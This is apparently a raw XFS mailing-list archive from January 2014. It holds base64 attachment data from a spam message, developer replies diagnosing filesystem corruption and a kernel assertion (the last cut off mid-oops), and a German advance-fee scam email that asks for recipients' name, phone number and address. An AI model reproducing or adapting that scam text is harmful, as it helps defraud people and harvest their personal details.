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 MTUxL1N1YnR5cGUvWE1ML1R5cGUvTWV0YWRhdGE+PnN0cmVhbQ0KPD94cGFj a2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQi Pz4KPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0 az0iQWRvYmUgWE1QIENvcmUgNS40LWMwMDUgNzguMTQ3MzI2LCAyMDEyLzA4 LzIzLTEzOjAzOjAzICAgICAgICAiPgogICA8cmRmOlJERiB4bWxuczpyZGY9 Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMi PgogICAgICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIgogICAgICAg ICAgICB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8i CiAgICAgICAgICAgIHhtbG5zOnBkZj0iaHR0cDovL25zLmFkb2JlLmNvbS9w ZGYvMS4zLyIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5h ZG9iZS5jb20veGFwLzEuMC9tbS8iCiAgICAgICAgICAgIHhtbG5zOmRjPSJo dHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyI+CiAgICAgICAgIDx4 bXA6Q3JlYXRlRGF0ZT4yMDE0LTAxLTE3VDIxOjMxOjM1PC94bXA6Q3JlYXRl RGF0ZT4KICAgICAgICAgPHhtcDpDcmVhdG9yVG9vbD5jb252ZXJ0b25saW5l ZnJlZS5jb208L3htcDpDcmVhdG9yVG9vbD4KICAgICAgICAgPHhtcDpNb2Rp ZnlEYXRlPjIwMTQtMDEtMTdUMjE6MzE6MzZaPC94bXA6TW9kaWZ5RGF0ZT4K ICAgICAgICAgPHhtcDpNZXRhZGF0YURhdGU+MjAxNC0wMS0xN1QyMTozMToz Nlo8L3htcDpNZXRhZGF0YURhdGU+CiAgICAgICAgIDxwZGY6UHJvZHVjZXI+ Y29udmVydG9ubGluZWZyZWUuY29tPC9wZGY6UHJvZHVjZXI+CiAgICAgICAg IDx4bXBNTTpEb2N1bWVudElEPnV1aWQ6NGJhYmIzODgtODY5MC00ZmE2LWJi N2QtYmY1MWQzODRlMDIzPC94bXBNTTpEb2N1bWVudElEPgogICAgICAgICA8 eG1wTU06SW5zdGFuY2VJRD51dWlkOjZlNDM5ZWU4LTBhOGMtNGZhYy05NDI3 LWVhOWUyNGQxYWNkNTwveG1wTU06SW5zdGFuY2VJRD4KICAgICAgICAgPGRj OmZvcm1hdD5hcHBsaWNhdGlvbi9wZGY8L2RjOmZvcm1hdD4KICAgICAgPC9y ZGY6RGVzY3JpcHRpb24+CiAgIDwvcmRmOlJERj4KPC94OnhtcG1ldGE+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAg ICAgICAgICAgICAgICAgICAgICAKPD94cGFja2V0IGVuZD0idyI/Pg0KZW5k c3RyZWFtDWVuZG9iag0yIDAgb2JqDTw8L0ZpbHRlci9GbGF0ZURlY29kZS9G aXJzdCA0L0xlbmd0aCA0OC9OIDEvVHlwZS9PYmpTdG0+PnN0cmVhbQ0KaN4y VTBQsLHRd84vzStRMNT3zkwpjrYEigXF6odUFqTqBySmpxbb2QEEGADWdwuA DQplbmRzdHJlYW0NZW5kb2JqDTMgMCBvYmoNPDwvRmlsdGVyL0ZsYXRlRGVj b2RlL0ZpcnN0IDQvTGVuZ3RoIDk2L04gMS9UeXBlL09ialN0bT4+c3RyZWFt DQpo3jJTMFCwsdF3LkpNLMnMz3NJLEnVcLEyMjA0MTA0NDcyNDY0No3ShMjn F2kk5+eVpRaV5OflZOalphWlpuol5+dq6vvmp2DTaQbUGVCUn1KanIpLq50d QIABACCzKVkNCmVuZHN0cmVhbQ1lbmRvYmoNNCAwIG9iag08PC9EZWNvZGVQ YXJtczw8L0NvbHVtbnMgNC9QcmVkaWN0b3IgMTI+Pi9GaWx0ZXIvRmxhdGVE ZWNvZGUvSURbPEUzNDE1NTcxN0MxNTYzNENCQUU5NkE1OUZERDg2MTZFPjww MDQxMTEyRDFERjJDQjQxQkUyNzIwQzBGODc3Q0Q1MD5dL0luZm8gNiAwIFIv TGVuZ3RoIDM5L1Jvb3QgOCAwIFIvU2l6ZSA3L1R5cGUvWFJlZi9XWzEgMyAw XT4+c3RyZWFtDQpo3mJiAAImRiZGUyYGBp45QIKxB0TsYWL89/ElkMXACBBg ADnZBRQNCmVuZHN0cmVhbQ1lbmRvYmoNc3RhcnR4cmVmDQoxMTYNCiUlRU9G DQo= ------=_NextPart_000_0046_01C2A9A6.142F95F2-- From david@fromorbit.com Fri Jan 24 15:53:06 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1E36D7F92 for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 15:53:06 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 105408F8050 for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 13:53:02 -0800 (PST) X-ASG-Debug-ID: 1390600380-04cbb05babf00b0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id o4O0o5b4kGDAPdnu for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 13:53:01 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkUJAP7f4lJ5LGaB/2dsb2JhbABagwyEC7NxhU+BBxd0giUBAQEDASMPASMjEAgDDgoCAgUhAgIPBSUDIROHfQesFZ0MFxaBE41jB4JvNYEUBJgmkh+DQSg Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 25 Jan 2014 08:22:58 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W6ogL-0000QO-81; Sat, 25 Jan 2014 08:52:57 +1100 Date: Sat, 25 Jan 2014 08:52:57 +1100 From: Dave Chinner <david@fromorbit.com> To: Sascha Askani <saskani@inovex.de> Cc: xfs@oss.sgi.com Subject: Re: Weird XFS Corruption Error Message-ID: <20140124215257.GA26397@dastard> X-ASG-Orig-Subj: Re: Weird XFS Corruption Error References: <CDBC891F-BCF6-4B9B-ADDB-9E143973D188@inovex.de> <20140122233141.GI27606@dastard> <FF1E62DE-5CFC-469B-BBF7-F5AB04AD4C0C@inovex.de> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <FF1E62DE-5CFC-469B-BBF7-F5AB04AD4C0C@inovex.de> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1390600380 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144440 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Jan 24, 2014 at 08:56:32AM +0100, Sascha Askani wrote: > Hi Dave, > > thanks for your reply and I’m sorry for the delayed answer… > > Am 23.01.2014 um 00:31 schrieb Dave Chinner <david@fromorbit.com>: > > > On Wed, Jan 22, 2014 at 05:09:10PM +0100, Sascha Askani wrote: > > > > So, an inode extent map btree block failed verification for some > > reason. Hmmm - there should have been 4 lines of hexdump output > > there as well. Can you post that as well? Or have you modified > > /proc/sys/fs/xfs/error_level to have a value of 0 so it is not > > emitted? > > > > /proc/sys/fs/xfs/error_level is set to 3, sorry for not including this in my original post, the Hexdump is pretty „boring“ (or interesting, depending on your point of view): > > [964197.435322] ffff881f8e59b000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ > [964197.862037] ffff881f8e59b010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ > [964198.288694] ffff881f8e59b020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ > [964198.712093] ffff881f8e59b030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Yeah, that confirms what I suspected - the buffer has been overwritten with zeros. That tends to imply *something* has zeroed the start of the block device, and that's the cause of all the problems. > > Oh, wow. Ok, if the primary superblock is gone, along with metadata > > in the first few blocks of the filesystem, then something has > > overwritten the start of the block device the filesystem is on. > > > >> 2. mounted the filesystem, which gave me a „Structure needs cleaning“ after a couple of seconds > >> 3. tried mounting again for good measure, same error „Structure needs cleaning“ > > > > Right - the kernel can't read a valid superlock, either. > > Just seen this messages in the log which were emitted when trying to mount the FS: > > [964606.038733] XFS (dm-8): metadata I/O error: block 0x200 ("xlog_recover_do..(read#2)") error 117 numblks 16 > [964606.515048] XFS (dm-8): log mount/recovery failed: error 117 > [964606.515386] XFS (dm-8): log mount failed Yup, that's trying to read an inode cluster. It's also right near the start of the filesystem (0x200 * 512 bytes = 256k into the filesystem) So log recovery is trying to replay an inode change and finding the inodes that underly the change in the log are corrupt. This really looks like something outside the filesystem caused the problem. It's probably too late to find out what caused it either, but I'd be checking with your HW vendor(s) about known problems with their hardware/firmware.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From sunzhii@live.cn Fri Jan 24 16:14:13 2014 Return-Path: <sunzhii@live.cn> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.4 required=5.0 tests=COMPENSATION,FREEMAIL_FROM, FREEMAIL_REPLYTO,LOTS_OF_MONEY,MONEY_FRAUD_3,T_MONEY_PERCENT autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 784337FA8 for <linux-xfs@oss.sgi.com>; Fri, 24 Jan 2014 16:14:13 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 156C5AC003 for <linux-xfs@oss.sgi.com>; Fri, 24 Jan 2014 14:14:09 -0800 (PST) X-ASG-Debug-ID: 1390601647-04bdf030eb100d70001-w1Z2WR Received: from MAIL01.schroeder.local (webmail.schroeder.nl [82.204.41.35]) by cuda.sgi.com with ESMTP id LNyAap6LBawdXYbn for <linux-xfs@oss.sgi.com>; Fri, 24 Jan 2014 14:14:07 -0800 (PST) X-Barracuda-Envelope-From: sunzhii@live.cn X-Barracuda-Apparent-Source-IP: 82.204.41.35 Received: from [10.9.2.143] ([188.188.18.218] RDNS failed) by MAIL01.schroeder.local with Microsoft SMTPSVC(6.0.3790.4675); Fri, 24 Jan 2014 23:14:07 +0100 Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Subject: Contact Me Please ! To: Recipients <sunzhii@live.cn> X-ASG-Orig-Subj: Contact Me Please ! From: "Mr. SUN Zhijun" <sunzhii@live.cn> Date: Fri, 24 Jan 2014 23:13:59 +0100 Reply-To: sun.zhijun@yahoo.com.hk Message-ID: <MAIL015M7GPAbljUINQ000020a7@MAIL01.schroeder.local> X-OriginalArrivalTime: 24 Jan 2014 22:14:07.0621 (UTC) FILETIME=[998CA350:01CF1951] X-Barracuda-Connect: webmail.schroeder.nl[82.204.41.35] X-Barracuda-Start-Time: 1390601647 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.50 X-Barracuda-Spam-Status: No, SCORE=1.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_ADDR_MATCH, BSF_SC3_MV0132_3 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144440 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.00 BSF_SC3_MV0132_3 Custom rule MV0132_3 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address Guten Tag, Mein Name ist Mr.SUN Zhijun, ich mit der Bank of China zu arbeiten. Ich bra= uche Ihre Unterst=FCtzung in Durchf=FChrung einer Transaktion bei $ 18,5 Mi= llionen Dollar gesch=E4tzt, m=F6chte ich Ihnen 30% der gesamten Mittel als = Ausgleich f=FCr Ihre Unterst=FCtzung in dieser Transaktion. Ich werde Sie = =FCber die vollst=E4ndige Transaktion benachrichtigt nach Eingang Ihrer Ant= wort, wenn interessiert, bitte senden Sie mir Ihren vollst=E4ndigen detials= als unten, um meine E-Mail aufgef=FChrt: sun.zhijun@yahoo.com.hk 1. Vollst=E4ndiger Name 2.Private Telefonnummer 3.Current Wohnadresse Mit freundlichen Gr=FC=DFen, Mr.SUN Zhijun From david@fromorbit.com Fri Jan 24 16:20:25 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1153B7FA9 for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 16:20:25 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id D98E9304048 for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 14:20:21 -0800 (PST) X-ASG-Debug-ID: 1390602019-04bdf030e9101150001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 0bgTrdY9AHLCQ90m for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 14:20:19 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkEJAO3l4lJ5LGaB/2dsb2JhbABagwy3fIVPgQcXdIIlAQEBBCcTHCMQCAMOCgklDwUlAyETiATJLhcWjkMzB4MkgRQEmCaKT4dQg0Eo Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 25 Jan 2014 08:50:18 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W6p6n-0000UN-6W; Sat, 25 Jan 2014 09:20:17 +1100 Date: Sat, 25 Jan 2014 09:20:17 +1100 From: Dave Chinner <david@fromorbit.com> To: Ben Myers <bpm@sgi.com> Cc: xfs@oss.sgi.com Subject: Re: assert in xfs_log_commit_cil Message-ID: <20140124222017.GB26397@dastard> X-ASG-Orig-Subj: Re: assert in xfs_log_commit_cil References: <20140124193702.GM26064@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable In-Reply-To: <20140124193702.GM26064@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1390602019 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144441 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Jan 24, 2014 at 01:37:02PM -0600, Ben Myers wrote: > Hi Folks, >=20 > I hit this assertion on one of my test boxes today: >=20 > [1167966.151275] XFS: Assertion failed: !list_empty(&cil->xc_cil), file: = /root/xfs/fs/xfs/xfs_log_cil.c, line: 636 I suppose that can happen if we are committing a transaction that has no dirty objects in it. But that can't happen from xfs_setfilesize(). That implies memory corruption or that someone has busted rwsem behaviour. > [1167966.162659] ------------[ cut here ]------------ > [1167966.168021] kernel BUG at /root/xfs/fs/xfs/xfs_message.c:107! > [1167966.168026] invalid opcode: 0000 [#4] SMP > [1167966.168081] Modules linked in: xfs(OF) ext2(F) dm_flakey(F) crc32c(F= ) libcrc32c(F) autofs4(F) cpufreq_conservative(F) cpufreq_userspace(F) cpuf= req_powersave(F) microcode(F) fuse(F) loop(F) dm_mod(F) joydev(F) hid_gener= ic(F) usbhid(F) hid(F) ehci_pci(F) ehci_hcd(F) iTCO_wdt(F) iTCO_vendor_supp= ort(F) ipv6(F) usbcore(F) sg(F) igb(F) isci(F) sr_mod(F) pcspkr(F) mptctl(F= ) cdrom(F) libsas(F) usb_common(F) ioatdma(F) ptp(F) i2c_i801(F) lpc_ich(F)= mfd_core(F) pps_core(F) dca(F) rtc_cmos(F) acpi_cpufreq(F) wmi(F) button(F= ) mgag200(F) ttm(F) drm_kms_helper(F) drm(F) i2c_algo_bit(F) sysimgblt(F) s= ysfillrect(F) i2c_core(F) syscopyarea(F) sd_mod(F) crc_t10dif(F) crct10dif_= common(F) mpt2sas(F) raid_class(F) scsi_dh_emc(F) scsi_dh_rdac(F) scsi_dh_a= lua(F) scsi_dh_hp_sw(F) scsi_dh(F) thermal(F) sata_nv(F) processor(F) piix(= F) mptsas(F) mptscsih(F) scsi_transport_sas(F) mptbase(F) megaraid_sas(F) i= de_generic(F) ide_core(F) fan(F) thermal_sys(F) hwmon(F) ext3(F) jbd(F) mbc= ache(F) edd(F) at > a_piix(F) ahci(F) libahci(F) libata(F) scsi_mod(F) [last unloaded: scsi_= debug] > [1167966.168102] 